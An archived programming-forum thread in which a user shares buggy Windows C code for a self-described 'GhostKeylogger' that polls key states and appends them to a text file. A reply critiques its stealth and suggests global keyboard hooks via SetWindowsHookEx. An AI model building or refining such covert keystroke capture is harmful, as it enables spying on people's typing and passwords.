Help. C/C++ Save Ascii Characters [Api Windows]

I KNOW THIS GOING IN C FORUM BUT THIS TOPIC HAVE RELATION WITH WINDOWS API FUNCTIONS. I NEED HELP OF THE TWO FORUMS SO PLEASE DONT ERASE THIS.

Hello!

I need to save in a file (txt) the characters ascii (for example "☺") when some press Alt+number.

I dont know how to do it. Ill searched in all the forums, i asked to all my teachers or people who knows and no one can solve this. Help!


Ok this is what i got:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32]; 

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
		
		/*	if(GetAsyncKeyState(i)==-32767){  
				
		    
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales); 
            
               }	*/
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
           		{
				if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
				 {
				 fprintf(txt,"~"); break;
				}}
				
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////	
		
		   	if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
		   	{
					fprintf(txt,"%c\t",0x01); //WHAT I HAVE TO DO HERE?
							
			}
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
		 
	}
}

int main(){
	
	FILE *txt;
	 while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}





If you know some better way of coding ill change it. Please any info about how to save characters in FILES is welcome.
If you want to have a keylogger there are many good free ones out there.

As for your ghost key logger program, frequency of 33 checks a second it wont be so unnoticeable (using Sleep function is rarely a good idea), especially since you open and close the file every time you go trough the while loop. Not to mention that you declared your file pointer twice...
Besides that, your program will miss keystrokes. I recommend you to inject your own DLL in all programs using SetWindowsHookEx .
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644959(v=vs.85).aspx#wh_keyboardhook
Oh come on. If im gonna use the hook style i have to do all again.
Thats not the problem. but remeber this part going inside the full program. I cant change all again. Its gonna take a lot of time.

Must be another way.
Topic archived. No new replies allowed.